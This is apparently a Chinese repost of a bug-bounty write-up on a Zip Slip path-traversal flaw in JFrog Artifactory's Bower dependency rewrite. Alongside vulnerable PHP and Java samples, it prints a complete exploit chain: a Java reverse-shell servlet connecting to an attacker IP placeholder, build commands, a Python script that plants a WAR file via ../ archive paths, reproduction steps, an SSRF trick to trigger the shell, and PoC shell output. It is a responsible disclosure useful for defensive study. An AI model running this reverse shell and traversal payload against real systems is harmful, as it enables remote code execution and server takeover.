Artifactory由 JFrog 开发,是一款业界领先的软件存储库管理器,它是一款用于存储和管理整个软件供应链中使用的所有工件、二进制文件、包、文件、容器和组件的单一解决方案。JFrog Artifactory 是DevOps的中心枢纽,与软件开发工具和流程集成。
在这篇博文中,我将讲述一个关于 Artifactory 中的 Zip Slip 漏洞的故事,我在 2021 年初向 JFrog 私人 Bug Bounty 计划报告了这个安全漏洞,我因此获得了5000 美元的赏金和一些很酷的赠品!
上周,我也有机会在hackmeeting 0x1B上公开谈论这个故事,我的演讲题目是Attacchi Zip Slip: storia di un exploit in “archivio”(Zip Slip 攻击:“档案”中的漏洞故事) ...您可以在这里找到我演讲中使用的幻灯片。
在继续讲述这个故事之前,让我们先了解一些背景知识,并尝试找出什么是路径遍历漏洞。因为 Zip Slip 简而言之是一种任意文件写入漏洞,可以通过路径遍历攻击来利用,这种攻击可能发生在处理/提取存档文件(例如 Zip 或 Tar 存档)的上下文中。如果您已经熟悉路径遍历攻击,也可以跳过下一节。
• 路径遍历漏洞
路径遍历(或目录遍历)攻击利用了对用户提供的文件名输入验证不足的情况,例如表示“遍历到父目录”的字符(即所谓的点-点-斜杠 (../) 序列)被传递到操作系统的文件系统 API。攻击者可能会利用易受攻击的应用程序来获取对文件系统的未经授权的访问权限,从而使他们能够在系统上读取或写入任意文件。
实际上,应用程序在读取和写入模式下都容易受到路径遍历攻击,在第一种情况下会导致任意文件读取原语,这可能会引入信息泄露攻击媒介,在第二种情况下会导致任意文件写入原语,进而可能导致远程代码执行 ( RCE ) 攻击。这就是为什么第二种情况最有趣,而 Zip Slip 攻击在写入模式下起作用,这意味着它们通常会导致远程代码执行 (RCE)!
以下是存在路径遍历漏洞的 PHP 应用程序示例(处于阅读模式):
<?php
// some PHP code
if (isset($_GET['filename']))
$image = $_GET['filename'];
else
$image = 'default.png';
readfile('/var/www/images/' . $image);
// some more PHP code
?>
在这个例子中,由于缺少对“filename” GET 参数(在第 6 行分配给变量$image)的输入验证,攻击者可能能够通过使用点-点-斜杠 (../) 序列来读取易受攻击的 Web 服务器上的任意文件,例如到达根路径 (/) 并检索密码文件的内容 ( /etc/passwd),如下所示:
以下是另一个存在漏洞的 Java Web 应用程序示例,这次处于写入模式:
@PostMapping("/uploadimage")
public String uploadImage(Model model, @RequestParam("image") MultipartFile file) throws IOException
{
var name = file.getOriginalFilename().replace(" ", "_");
var fileNameAndPath = Paths.get(UPLOAD_DIRECTORY, name);
Files.write(fileNameAndPath, file.getBytes());
// some more Java code
return "/user/upload";
}
在这种情况下,由于对提交的“文件名”的输入验证不当(在第 4 行分配给变量name,稍后在第 6 行使用它来写入上传的文件),攻击者可能能够使用上传文件名中的UPLOAD_DIRECTORY点-点-斜杠 (../) 序列(例如,通过使用代理工具篡改上传 HTTP 请求)在 Web 服务器上的任何位置上传/写入任意文件,甚至在目标目录(此示例中为常量)之外。如下所示:
这反过来又可能导致远程代码执行 (RCE) 攻击,例如在服务器的 webroot 文件夹中创建新的恶意JSP/home/user/.ssh/id_rsa文件,并通过 HTTP 请求调用这些文件来远程执行它们。另一个可能的攻击媒介是写入/覆盖用户的 SSH 私钥(即),并通过 SSH 获得对 Web 服务器的未经授权的访问(如果暴露)。换句话说,可能存在多种方法可以从任意文件写入原语获取远程代码执行 (RCE),它们都取决于上下文,我们很快就会看到。
• Zip Slip 漏洞
Zip Slip 是一类已有三十多年历史的漏洞,可能“诞生”于 1991 年,当时Phrack上发表了一篇文章:
*** 技巧 #3:-D 存档破解
这种技术也利用了 WWIV 档案系统的开放性。这是将文件放入 BBS 根目录或硬盘上任何位置的另一种方法。
首先,在您的硬盘上创建一个临时目录。它叫什么名字并不重要。我们将其称为 TEMP。然后,创建一个名为 AA 的 TEMP 子目录。它实际上可以命名为任何两个字符的组合,但我们会保持简洁。然后创建一个名为 WWIV 的 AA 子目录。
将 NETWORK.COM 或 REMOTE.COM 或其他任何内容放在目录 TEMPAAWWIV 中。然后从 TEMP 目录执行以下命令:
PKZIP -r -P STUFF.ZIP <--- The case of "r" and "P" are important.
PKUNZIP STUFF.ZIP ""-D
因此,将点-点-斜杠 (../) 序列放入存档文件内,并以此方式利用易受路径遍历攻击的应用程序的概念最初是在 1991 年 9 月与BBS黑客攻击有关时引入的,当时 Web 才刚刚诞生一个月……然而,看起来它花了几年时间才应用到 Web 环境中,这可能发生在 2006 年,出现了CVE-2006-0931和CVE-2006-0932 - 这是我在这些 列表中看到的最古老的与 Web 相关的 Zip Slip 漏洞。三年后,即 2009 年 4 月,Neohapsis也发表了一项研究。在对此“几乎沉默”了几年之后,Snyk 在 2018 年发表了一项研究,将这类漏洞“重命名”为实际已知的名称,并且通过发现和报告多种软件产品中的 Zip Slip 漏洞,Snyk 收集了数十个 CVE。
让我们看一个存在漏洞的 Java 代码示例:
public void extractZipFile(ZipFile zip, String destinationDir)
{
Enumeration<ZipEntry> entries = zip.getEntries();
while (entries.hasMoreElements())
{
ZipEntry e = entries.nextElement();
File f = new File(destinationDir, e.getName());
InputStream input = zip.getInputStream(e);
IOUtils.copy(input, write(f));
}
}
private List<File> extractBowerPackage() throws IOException, ArchiveException {
log.debug("Extracting archive contents of bower package {} for dependency rewrite on repo {}", this.resource
.getRepoPath(), this.repo.getKey());
ResourceStreamHandle handle = this.repoService.getResourceStreamHandle(this.resource.getRepoPath());
List<File> archiveContents = new ArrayList<>();
ArchiveInputStream stream = (new ArchiveStreamFactory()).createArchiveInputStream(new BufferedInputStream(new GZIPInputStream(handle.getInputStream())));
try {
ArchiveEntry entry;
while ((entry = stream.getNextEntry()) != null) {
if (!entry.isDirectory() && !entry.getName().contains("pax_global_header")) {
File outputFile = copyEntryToFile(stream, entry);
archiveContents.add(outputFile);
}
}
if (stream != null)
stream.close();
} catch (Throwable throwable) {
if (stream != null)
try {
stream.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
if (log.isTraceEnabled())
log.trace("Archive contents for bower package at {} are: {}", this.resource.getRepoPath(),
Arrays.toString(archiveContents.toArray()));
return archiveContents;
}
private File copyEntryToFile(ArchiveInputStream stream, ArchiveEntry entry) throws IOException {
File outputFile = new File(this.tempBowerDirectory, entry.getName());
Files.createDirectories(outputFile.toPath().getParent(), (FileAttribute<?>[])new FileAttribute[0]);
OutputStream os = new FileOutputStream(outputFile);
IOUtils.copy((InputStream)stream, os);
os.close();
return outputFile;
}
WAR 文件必须放置在 Tomcat webapps 路径 /opt/jfrog/artifactory/tomcat/webapps/ 中。默认情况下,WAR 文件的部署是自动的,并将在 Artifactory 实例旁边启动另一个 web 应用程序,例如在 http://localhost:8081/sample/。
以下是创建特制的 Bower 包来利用此 Zip Slip 漏洞的步骤:
-
创建一个ShellServlet.java包含你的(反向)shell 代码的文件,如下所示:
import java.io.*;
import java.net.Socket;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
@WebServlet("/")
public class ShellServlet extends HttpServlet {
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
String host = "[ATTACKER_IP_ADDRESS]";
int port = 12345;
String cmd = "/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0)
so.write(pi.read());
while(pe.available() > 0)
so.write(pe.read());
while(si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
try {
Thread.sleep(50);
p.exitValue();
break;
}
catch (Exception e) {
}
}
p.destroy();
s.close();
}
}
-
将此文件放在以下目录结构中:rce/WEB-INF/classes/ShellServlet.java
-
使用以下命令编译 servlet:javac -cp servlet-api.jar rce/WEB-INF/classes/ShellServlet.java
-
使用以下命令创建 WAR 文件:cd rce; jar -cvf ../rce.war WEB-INF/classes/*.class; cd ..
-
rce.tar.gz通过运行以下 Python 脚本创建Bower 包:
#!/usr/bin/env python
import sys, tarfile
fname = "rce.tar.gz"
zpath = "../../../../../../../../../../../../../opt/jfrog/artifactory/app/artifactory/tomcat/webapps/rce.war"
print "Creating " + fname + " containing " + zpath
tf = tarfile.open(fname, "w:gz")
tf.add("rce.war", zpath)
tf.add("bower.json")
tf.close()
-
该bower.json文件包含如下“外部依赖项”:
{
"dependencies": {
"test": "https://github.com/owner/package.git#branch"
}
}
创建rce.tar.gz文件后,您可以按照以下步骤重现该漏洞:
-
以管理员用户身份登录 Artifactory
-
创建一个新的 Bower 本地存储库(bower-local)
-
创建一个新的 Bower 远程存储库(bower-remote)
-
创建一个新的 Bower 虚拟存储库:在“存储库”下选择bower-local和,在“默认部署存储库”下选择,然后点击“高级”选项卡,选择“启用依赖重写”bower-remotebower-local
-
进入“Artifactory” → “Artifacts”,选择 Bower Virtual Repository 并部署rce.tar.gz文件
-
下载已部署的工件并触发漏洞,将rce.war文件写入 Tomcat webapps目录,该文件将自动部署为新的 Tomcat Web 应用程序
-
现在,为了执行恶意 WAR,攻击者应该访问http://[artifactory_instance]:8081/rce/,但这在 JFrog Cloud 上是不可能的,因为端口 8081 未向互联网开放。但是,通过“链接”其他(SSRF)漏洞,仍然可以在 JFrog Cloud 上执行 WAR:只需创建一个新的通用远程存储库,并将字符串http://0.0.0.0:8081/rce放入 URL 文本框中,单击“测试”,就会执行(反向)shell
注意:尽管创建 Bower 存储库需要管理员帐户,但这并不意味着成功利用此漏洞也需要管理员帐户。非管理员用户也可以利用此漏洞,只要他们有权限在启用“启用依赖重写”选项的 Bower 虚拟存储库中部署工件。
以下是我随 HackerOne 报告一起发送的概念验证(PoC)视频:
$ php rce.php https://egix2hackerone.jfrog.io/ admin ********
[-] Logging in with username 'admin' and password '********'
[-] Creating Bower Local Repository...
[-] Creating Bower Remote Repository...
[-] Creating Bower Virtual Repository...
[-] Uploading malicious Bower package...
[-] Deploying package to 'bower-1611601753'...
[-] Downloading package to trigger the vulnerability...
[-] Deleting Bower Repositories...
[-] Waiting for the shell to be deployed...
jfrog-shell# id
uid=1030(artifactory) gid=1030(artifactory) groups=1030(artifactory),40019,40030
jfrog-shell# uname -a
Linux a0efcqstryncc-artifactory-primary-0 4.14.203-156.332.amzn2.x86_64 #1 SMP Fri Oct 30 19:19:33 UTC 2020 x86_64 GNU/Linux
结论
总而言之,您可能会说 Zip Slip 是一类存在已久的漏洞,而且很可能还会存在很长时间。在 99% 的情况下,此类安全漏洞都是由于人为错误、健忘或错误假设而引起的。Zip Slip 只不过是:利用路径遍历漏洞在意外文件夹中写入任意文件,利用开发人员缺乏控制权。正如我们在本故事中看到的那样,攻击者可能会利用这一点来完全控制运行易受 Zip Slip 攻击的应用程序的机器。
最后,我想再一次感谢JFrog,感谢你们给了我机会参与你们的私人漏洞赏金计划,感谢你们给我赏金,感谢你们给予我一切……🐸 另外,我想感谢意大利hackmeeting社区,感谢你们给了我机会首次公开披露和讨论这个 Zip Slip 漏洞!顺便说一句,这是我第一次参加 hackmeeting 活动,对我来说真的是一次很棒的经历!❤️
https://karmainsecurity.com/zip-slip-meets-artifactory-a-bug-bounty-story
原文始发于微信公众号(Ots安全):Zip Slip 与 Artifactory 相遇:一个 Bug Bounty 的故事
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论